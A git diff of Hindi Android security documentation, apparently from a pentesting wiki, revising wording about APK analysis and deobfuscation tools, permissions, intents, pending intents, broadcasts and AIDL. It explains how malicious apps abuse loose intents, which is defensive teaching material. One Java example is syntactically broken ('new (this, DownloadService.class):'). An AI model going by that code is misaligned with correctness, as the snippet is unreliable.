super-analyzer {apk_file}
|
||||
```
|
||||
@ -649,7 +649,7 @@ androbugs.exe -f [APK file]
|
||||
|
||||
पता लगाने की प्रक्रिया एप्लिकेशन के Dalvik बाइटकोड का **स्थैतिक विश्लेषण** करके की जाती है, जिसे **Smali** के रूप में दर्शाया गया है, [`androguard`](https://github.com/androguard/androguard) पुस्तकालय के साथ।
|
||||
|
||||
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ताओं का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन...
|
||||
यह उपकरण **"खराब" एप्लिकेशनों के सामान्य व्यवहार** की तलाश करता है जैसे: टेलीफोनी पहचानकर्ता का निष्कासन, ऑडियो/वीडियो प्रवाह का अवरोधन, PIM डेटा में संशोधन, मनमाने कोड का निष्पादन...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एकत्र करता है, ताकि मोबाइल एप्लिकेशनों का OWASP मोबाइल सुरक्षा खतरों के खिलाफ परीक्षण करने में सहायता मिल सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
**MARA** एक **M**ोबाइल **A**प्लिकेशन **R**िवर्स इंजीनियरिंग और **A**नालिसिस फ्रेमवर्क है। यह एक उपकरण है जो सामान्यतः उपयोग किए जाने वाले मोबाइल एप्लिकेशन रिवर्स इंजीनियरिंग और विश्लेषण उपकरणों को एक साथ लाता है, ताकि मोबाइल एप्लिकेशनों का परीक्षण OWASP मोबाइल सुरक्षा खतरों के खिलाफ किया जा सके। इसका उद्देश्य इस कार्य को मोबाइल एप्लिकेशन डेवलपर्स और सुरक्षा पेशेवरों के लिए आसान और मित्रवत बनाना है।
|
||||
|
||||
यह सक्षम है:
|
||||
|
||||
@ -689,9 +689,9 @@ APK को डिओबफस्केट करने के लिए चर
|
||||
(उस गाइड से) आखिरी बार जब हमने जांचा, Dexguard का संचालन मोड था:
|
||||
|
||||
- एक संसाधन को InputStream के रूप में लोड करें;
|
||||
- इसे FilterInputStream से विरासत में मिली एक कक्षा को डिक्रिप्ट करने के लिए परिणाम दें;
|
||||
- एक रिवर्सर के समय को बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
|
||||
- डिक्रिप्टेड परिणाम को ZipInputStream में दें ताकि एक DEX फ़ाइल प्राप्त हो सके;
|
||||
- इसे डिक्रिप्ट करने के लिए FilterInputStream से विरासत में मिली एक कक्षा को परिणाम दें;
|
||||
- एक रिवर्सर से कुछ मिनटों का समय बर्बाद करने के लिए कुछ बेकार ओबफस्केशन करें;
|
||||
- DEX फ़ाइल प्राप्त करने के लिए डिक्रिप्टेड परिणाम को ZipInputStream में दें;
|
||||
- अंततः `loadDex` विधि का उपयोग करके परिणामस्वरूप DEX को एक संसाधन के रूप में लोड करें।
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
@ -700,13 +700,13 @@ APK को डिओबफस्केट करने के लिए चर
|
||||
|
||||
आप उनके प्लेटफॉर्म पर एक ओबफस्केटेड APK अपलोड कर सकते हैं।
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
यह एक LLM उपकरण है जो Android ऐप्स में किसी भी संभावित सुरक्षा कमजोरियों को खोजने और Android ऐप कोड को डिओबफस्केट करने के लिए है। Google के Gemini सार्वजनिक API का उपयोग करता है।
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
यह एक **सामान्य Android डिओबफस्केटर** है। Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे समझना मानव के लिए आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि उपयोग की जाने वाली ओबफस्केशन का विशिष्ट प्रकार क्या है।
|
||||
यह एक **सामान्य Android डिओबफस्केटर** है। Simplify **वास्तव में एक ऐप को निष्पादित करता है** ताकि इसके व्यवहार को समझा जा सके और फिर **कोड को अनुकूलित करने की कोशिश करता है** ताकि यह समान रूप से व्यवहार करे लेकिन इसे मानव के लिए समझना आसान हो। प्रत्येक अनुकूलन प्रकार सरल और सामान्य है, इसलिए यह मायने नहीं रखता कि ओबफस्केशन का विशिष्ट प्रकार क्या है।
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
||||
@ -35,8 +35,8 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
- **permission-group** attribute, जो संबंधित अनुमतियों को समूहित करने की अनुमति देता है।
|
||||
- **protection-level** जो इंगित करता है कि अनुमतियाँ कैसे दी जाती हैं। चार प्रकार हैं:
|
||||
- **Normal**: जब ऐप के लिए **कोई ज्ञात खतरे** नहीं होते हैं। उपयोगकर्ता को **इसे मंजूर करने की आवश्यकता नहीं है**।
|
||||
- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से इन्हें मंजूर करने के लिए कहा जाता है**।
|
||||
- **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात कर रहा है। यह सुरक्षा का सबसे मजबूत प्रकार है।
|
||||
- **Dangerous**: इंगित करता है कि अनुमति अनुरोध करने वाले अनुप्रयोग को कुछ **उच्च पहुंच** प्रदान करती है। **उपयोगकर्ताओं से उन्हें मंजूर करने के लिए कहा जाता है**।
|
||||
- **Signature**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** को अनुमति दी जा सकती है जो घटक को निर्यात करता है। यह सुरक्षा का सबसे मजबूत प्रकार है।
|
||||
- **SignatureOrSystem**: केवल **उसी प्रमाणपत्र द्वारा हस्ताक्षरित ऐप्स** या **सिस्टम-स्तरीय पहुंच के साथ चलने वाले ऐप्स** को अनुमतियाँ दी जा सकती हैं।
|
||||
|
||||
## Pre-Installed Applications
|
||||
@ -59,29 +59,29 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
|
||||
### ROMs
|
||||
|
||||
यह संभव है कि **कस्टम फर्मवेयर स्थापित करके OS को बदलें**। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाना, सॉफ़्टवेयर प्रतिबंधों को बायपास करना या नवीनतम Android कोड तक पहुंच प्राप्त करना संभव है।\
|
||||
यह **कस्टम फर्मवेयर स्थापित करके OS को बदलना** संभव है। ऐसा करने से एक पुराने डिवाइस की उपयोगिता बढ़ाई जा सकती है, सॉफ़्टवेयर प्रतिबंधों को बायपास किया जा सकता है या नवीनतम Android कोड तक पहुंच प्राप्त की जा सकती है।\
|
||||
**OmniROM** और **LineageOS** उपयोग करने के लिए दो सबसे लोकप्रिय फर्मवेयर हैं।
|
||||
|
||||
ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर्स को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं।
|
||||
ध्यान दें कि **कस्टम फर्मवेयर स्थापित करने के लिए डिवाइस को रूट करना हमेशा आवश्यक नहीं है**। **कुछ निर्माता** अपने बूटलोडर को अच्छी तरह से प्रलेखित और सुरक्षित तरीके से अनलॉक करने की अनुमति देते हैं।
|
||||
|
||||
### Implications
|
||||
|
||||
एक बार जब डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और फोन को नुकसान पहुंचा सकेगा।
|
||||
एक बार जब डिवाइस रूट हो जाता है, तो कोई भी ऐप रूट के रूप में एक्सेस का अनुरोध कर सकता है। यदि एक दुर्भावनापूर्ण ऐप इसे प्राप्त करता है, तो यह लगभग सब कुछ तक पहुंच प्राप्त कर लेगा और फोन को नुकसान पहुँचा सकेगा।
|
||||
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलकर, सामग्री को निकाला और देखा जा सकता है)।
|
||||
- Android अनुप्रयोगों का प्रारूप _APK फ़ाइल प्रारूप_ के रूप में संदर्भित किया जाता है। यह मूल रूप से एक **ZIP फ़ाइल** है (फ़ाइल एक्सटेंशन को .zip में बदलने पर, सामग्री को निकाला और देखा जा सकता है)।
|
||||
- APK सामग्री (पूर्ण नहीं)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: पूर्व-संकलित संसाधनों को शामिल करता है, जैसे बाइनरी XML।
|
||||
- resources.arsc: पूर्व-compiled संसाधनों को शामिल करता है, जैसे बाइनरी XML।
|
||||
- res/xml/files_paths.xml
|
||||
- META-INF/
|
||||
- यहीं पर प्रमाणपत्र स्थित है!
|
||||
- यहीं प्रमाणपत्र स्थित है!
|
||||
- **classes.dex**
|
||||
- डेलविक बाइटकोड को शामिल करता है, जो संकलित Java (या Kotlin) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है।
|
||||
- इसमें डलविक बाइटकोड होता है, जो संकलित Java (या Kotlin) कोड का प्रतिनिधित्व करता है जिसे अनुप्रयोग डिफ़ॉल्ट रूप से निष्पादित करता है।
|
||||
- lib/
|
||||
- मूलभूत पुस्तकालयों को रखता है, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं।
|
||||
- इसमें मूलभूत पुस्तकालय होते हैं, जो उपनिर्देशिकाओं में CPU आर्किटेक्चर द्वारा विभाजित होते हैं।
|
||||
- `armeabi`: ARM आधारित प्रोसेसर के लिए कोड
|
||||
- `armeabi-v7a`: ARMv7 और उच्चतर आधारित प्रोसेसर के लिए कोड
|
||||
- `x86`: X86 प्रोसेसर के लिए कोड
|
||||
@ -93,13 +93,13 @@ Android 5.0(L) से **SELinux** लागू किया गया है।
|
||||
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डेलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रभार लेता है।
|
||||
Android विकास में, **Java या Kotlin** का उपयोग ऐप बनाने के लिए किया जाता है। डेस्कटॉप ऐप्स की तरह JVM का उपयोग करने के बजाय, Android इस कोड को **Dalvik Executable (DEX) बाइटकोड** में संकलित करता है। पहले, डलविक वर्चुअल मशीन इस बाइटकोड को संभालती थी, लेकिन अब, नए Android संस्करणों में Android Runtime (ART) इसका प्रभार लेता है।
|
||||
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। Smali और baksmali इस संदर्भ में असेंबली और डिस्सेम्बली उपकरणों को संदर्भित करते हैं।
|
||||
रिवर्स इंजीनियरिंग के लिए, **Smali** महत्वपूर्ण हो जाता है। यह DEX बाइटकोड का मानव-पठनीय संस्करण है, जो स्रोत कोड को बाइटकोड निर्देशों में अनुवादित करके असेंबली भाषा की तरह कार्य करता है। Smali और baksmali इस संदर्भ में असेंबली और डिसअसेंबली उपकरणों को संदर्भित करते हैं।
|
||||
|
||||
## Intents
|
||||
|
||||
Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने का प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
Intents Android ऐप्स के बीच उनके घटकों या अन्य ऐप्स के साथ संवाद करने के प्राथमिक साधन हैं। ये संदेश वस्तुएं ऐप्स या घटकों के बीच डेटा ले जा सकती हैं, जैसे HTTP संचार में GET/POST अनुरोधों का उपयोग किया जाता है।
|
||||
|
||||
तो एक Intent मूल रूप से **घटकों के बीच पारित किया जाने वाला एक संदेश है**। Intents **विशिष्ट घटकों या ऐप्स की ओर निर्देशित** किए जा सकते हैं, **या बिना किसी विशिष्ट प्राप्तकर्ता के भेजे जा सकते हैं**।\
|
||||
सरलता के लिए Intent का उपयोग किया जा सकता है:
|
||||
@ -118,7 +118,7 @@ Intents Android ऐप्स के बीच उनके घटकों य
|
||||
|
||||
Intent Filters श्रेणियों, क्रियाओं और डेटा फ़िल्टरों से बने होते हैं, जिसमें अतिरिक्त मेटाडेटा शामिल करने की संभावना होती है। यह सेटअप घटकों को उन विशिष्ट Intents को संभालने की अनुमति देता है जो घोषित मानदंडों से मेल खाते हैं।
|
||||
|
||||
Android घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** विशेषता को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||
Android घटकों (गतिविधियाँ/सेवाएँ/सामग्री प्रदाता/ब्रॉडकास्ट रिसीवर्स) का एक महत्वपूर्ण पहलू उनकी दृश्यता या **सार्वजनिक स्थिति** है। एक घटक को सार्वजनिक माना जाता है और यह अन्य ऐप्स के साथ इंटरैक्ट कर सकता है यदि इसे **`exported`** के मान के साथ **`true`** के रूप में सेट किया गया है या यदि इसके लिए मैनिफेस्ट में एक Intent Filter घोषित किया गया है। हालाँकि, डेवलपर्स के लिए इन घटकों को स्पष्ट रूप से निजी रखना संभव है, यह सुनिश्चित करते हुए कि वे अनजाने में अन्य ऐप्स के साथ इंटरैक्ट न करें। यह उनके मैनिफेस्ट परिभाषाओं में **`exported`** attribute को **`false`** पर सेट करके प्राप्त किया जाता है।
|
||||
|
||||
इसके अलावा, डेवलपर्स के पास इन घटकों तक पहुंच को और सुरक्षित करने का विकल्प होता है, विशेष अनुमतियों की आवश्यकता करके। **`permission`** attribute को सेट किया जा सकता है ताकि केवल उन ऐप्स को अनुमति दी जा सके जिनके पास निर्दिष्ट अनुमति है, जिससे सुरक्षा और नियंत्रण की एक अतिरिक्त परत जोड़ी जा सके कि कौन इसके साथ इंटरैक्ट कर सकता है।
|
||||
```java
|
||||
@ -132,7 +132,7 @@ Intents को एक Intent कंस्ट्रक्टर का उपय
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक mailto **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी इरादा अपेक्षा कर रहा है)।
|
||||
**Action** पहले घोषित किए गए इरादे का **ACTION_SEND** है और **Extra** एक mailto **Uri** है (Extra वह अतिरिक्त जानकारी है जिसकी अपेक्षा इरादा कर रहा है)।
|
||||
|
||||
इस इरादे को मैनिफेस्ट के अंदर निम्नलिखित उदाहरण के रूप में घोषित किया जाना चाहिए:
|
||||
```xml
|
||||
@ -145,11 +145,11 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
एक intent-filter को संदेश प्राप्त करने के लिए **action**, **data** और **category** से मेल खाना चाहिए।
|
||||
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला** चयनित होगा। यह प्राथमिकता -1000 और 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
"Intent resolution" प्रक्रिया यह निर्धारित करती है कि प्रत्येक संदेश को कौन सा ऐप प्राप्त करना चाहिए। यह प्रक्रिया **priority attribute** पर विचार करती है, जिसे i**ntent-filter declaration** में सेट किया जा सकता है, और **उच्च प्राथमिकता वाला चयनित होगा**। यह प्राथमिकता -1000 से 1000 के बीच सेट की जा सकती है और एप्लिकेशन `SYSTEM_HIGH_PRIORITY` मान का उपयोग कर सकते हैं। यदि **conflict** उत्पन्न होता है, तो एक "choser" Window प्रकट होती है ताकि **उपयोगकर्ता निर्णय ले सके**।
|
||||
|
||||
### Explicit Intents
|
||||
|
||||
एक स्पष्ट intent उस वर्ग नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है:
|
||||
एक explicit intent उस क्लास नाम को निर्दिष्ट करता है जिसे यह लक्षित कर रहा है:
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो **एक दुर्भावनापूर्ण अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुर्भावनापूर्ण ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||
ये अन्य अनुप्रयोगों को **आपके अनुप्रयोग की ओर से क्रियाएँ करने** की अनुमति देते हैं, आपके ऐप की पहचान और अनुमतियों का उपयोग करते हुए। एक Pending Intent बनाने के लिए **एक इरादा और प्रदर्शन करने के लिए क्रिया को निर्दिष्ट किया जाना चाहिए**। यदि **घोषित इरादा स्पष्ट नहीं है** (यह नहीं बताता कि कौन सा इरादा इसे कॉल कर सकता है) तो एक **दुष्ट अनुप्रयोग घोषित क्रिया को पीड़ित ऐप की ओर से प्रदर्शन कर सकता है**। इसके अलावा, **यदि कोई क्रिया निर्दिष्ट नहीं की गई है**, तो दुष्ट ऐप **पीड़ित की ओर से कोई भी क्रिया कर सकेगा**।
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -169,15 +169,15 @@ context.startService(intent);
|
||||
|
||||
वैकल्पिक रूप से, ब्रॉडकास्ट भेजते समय **एक अनुमति निर्दिष्ट करना भी संभव है**। रिसीवर ऐप को उस अनुमति की आवश्यकता होगी।
|
||||
|
||||
ब्रॉडकास्ट के **दो प्रकार** हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को संसाधित, पुनः प्रसारित या छोड़ सकता है।**
|
||||
ब्रॉडकास्ट के **दो प्रकार** होते हैं: **सामान्य** (असिंक्रोनस) और **क्रमबद्ध** (सिंक्रोनस)। **क्रम** रिसीवर तत्व के **कॉन्फ़िगर की गई प्राथमिकता** पर आधारित है। **प्रत्येक ऐप ब्रॉडकास्ट को प्रोसेस, रिले या ड्रॉप कर सकता है।**
|
||||
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेज** सकते हैं।\
|
||||
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं जो सुनिश्चित करता है कि **संदेश ऐप से बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||
आप `Context` क्लास से `sendBroadcast(intent, receiverPermission)` फ़ंक्शन का उपयोग करके **ब्रॉडकास्ट** **भेजना** संभव है।\
|
||||
आप **`LocalBroadCastManager`** से **`sendBroadcast`** फ़ंक्शन का भी उपयोग कर सकते हैं, जो सुनिश्चित करता है कि **संदेश ऐप से कभी बाहर नहीं जाता**। इसका उपयोग करते समय आपको रिसीवर घटक को निर्यात करने की भी आवश्यकता नहीं होगी।
|
||||
|
||||
### Sticky Broadcasts
|
||||
|
||||
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी पहुंचा जा सकता है**।\
|
||||
इनका उपयोग API स्तर 21 में बंद कर दिया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||
इस प्रकार के ब्रॉडकास्ट **भेजे जाने के लंबे समय बाद भी एक्सेस किए जा सकते हैं**।\
|
||||
इनका API स्तर 21 में डिप्रिकेट किया गया था और **इनका उपयोग न करने की सिफारिश की गई है**।\
|
||||
**ये किसी भी अनुप्रयोग को डेटा को स्निफ़ करने, बल्कि इसे संशोधित करने की अनुमति देते हैं।**
|
||||
|
||||
यदि आप "sticky" शब्द वाले फ़ंक्शंस जैसे **`sendStickyBroadcast`** या **`sendStickyBroadcastAsUser`** पाते हैं, तो **प्रभाव की जांच करें और उन्हें हटाने का प्रयास करें**।
|
||||
@ -215,15 +215,15 @@ android:host="example"
|
||||
|
||||
सीखें कि [HTML पृष्ठों का उपयोग किए बिना डीप लिंक कैसे कॉल करें](#exploiting-schemes-deep-links)।
|
||||
|
||||
## AIDL - एंड्रॉइड इंटरफेस परिभाषा भाषा
|
||||
## AIDL - Android इंटरफेस परिभाषा भाषा
|
||||
|
||||
**एंड्रॉइड इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य एंड्रॉइड अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि एंड्रॉइड पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को सरल बनाता है, जिससे ऑब्जेक्ट्स को ऑपरेटिंग सिस्टम द्वारा समझे जाने वाले प्रारूप में मार्शल किया जा सके, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है।
|
||||
**Android इंटरफेस परिभाषा भाषा (AIDL)** का उद्देश्य Android अनुप्रयोगों में **इंटरप्रोसेस संचार** (IPC) के माध्यम से क्लाइंट और सेवा के बीच संचार को सुविधाजनक बनाना है। चूंकि Android पर किसी अन्य प्रक्रिया की मेमोरी को सीधे एक्सेस करना अनुमति नहीं है, AIDL इस प्रक्रिया को सरल बनाता है, जिससे ऑब्जेक्ट्स को एक ऐसे प्रारूप में परिवर्तित किया जाता है जिसे ऑपरेटिंग सिस्टम समझता है, इस प्रकार विभिन्न प्रक्रियाओं के बीच संचार को आसान बनाता है।
|
||||
|
||||
### प्रमुख अवधारणाएँ
|
||||
|
||||
- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि इंटरैक्शन शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है।
|
||||
- **बाउंड सेवाएँ**: ये सेवाएँ IPC के लिए AIDL का उपयोग करती हैं, जिससे गतिविधियाँ या घटक एक सेवा से बंध सकते हैं, अनुरोध कर सकते हैं, और प्रतिक्रियाएँ प्राप्त कर सकते हैं। सेवा की कक्षा में `onBind` विधि इंटरैक्शन शुरू करने के लिए महत्वपूर्ण है, इसे कमजोरियों की खोज में सुरक्षा समीक्षा के लिए एक महत्वपूर्ण क्षेत्र के रूप में चिह्नित किया गया है।
|
||||
|
||||
- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जिसका ध्यान `onBind` विधि के माध्यम से डेटा को संसाधित करने पर होता है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि की निकटता से जांच करना आवश्यक है।
|
||||
- **मैसेंजर**: एक बाउंड सेवा के रूप में कार्य करते हुए, मैसेंजर IPC को सुविधाजनक बनाता है, जिसका ध्यान `onBind` विधि के माध्यम से डेटा को संसाधित करने पर है। किसी भी असुरक्षित डेटा हैंडलिंग या संवेदनशील कार्यों के निष्पादन के लिए इस विधि की निकटता से जांच करना आवश्यक है।
|
||||
|
||||
- **बाइंडर**: हालांकि बाइंडर क्लास का प्रत्यक्ष उपयोग AIDL के अमूर्तता के कारण कम सामान्य है, यह समझना फायदेमंद है कि बाइंडर विभिन्न प्रक्रियाओं की मेमोरी स्पेस के बीच डेटा ट्रांसफर को सुविधाजनक बनाने वाला एक कर्नेल-स्तरीय ड्राइवर है। आगे की समझ के लिए, एक संसाधन उपलब्ध है [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)।
|
||||
|
||||
@ -233,10 +233,10 @@ android:host="example"
|
||||
|
||||
### लॉन्चर गतिविधि और अन्य गतिविधियाँ
|
||||
|
||||
एंड्रॉइड ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है।
|
||||
Android ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफ़ेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है।
|
||||
|
||||
**लॉन्चर गतिविधि** ऐप का मुख्य गेटवे है, जो तब लॉन्च होती है जब आप ऐप के आइकन पर टैप करते हैं। इसे ऐप के मैनिफेस्ट फ़ाइल में विशिष्ट MAIN और LAUNCHER इंटेंट के साथ परिभाषित किया गया है:
|
||||
```markup
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -244,19 +244,19 @@ android:host="example"
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता नहीं होती, विशेष रूप से वे जो उपयोगकर्ता इंटरफ़ेस के बिना होते हैं, जैसे बैकग्राउंड सेवाएं।
|
||||
सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता नहीं होती, विशेष रूप से उन ऐप्स को जिनका कोई उपयोगकर्ता इंटरफ़ेस नहीं होता, जैसे बैकग्राउंड सेवाएं।
|
||||
|
||||
गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित करके। यह सेटिंग अन्य ऐप्स को इस गतिविधि को प्रारंभ करने की अनुमति देती है:
|
||||
गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, यदि उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित किया जाए। यह सेटिंग अन्य ऐप्स को इस गतिविधि को प्रारंभ करने की अनुमति देती है:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
हालांकि, किसी अन्य ऐप से गतिविधि तक पहुंचना हमेशा एक सुरक्षा जोखिम नहीं होता है। चिंता तब होती है जब संवेदनशील डेटा गलत तरीके से साझा किया जा रहा हो, जो जानकारी के लीक का कारण बन सकता है।
|
||||
|
||||
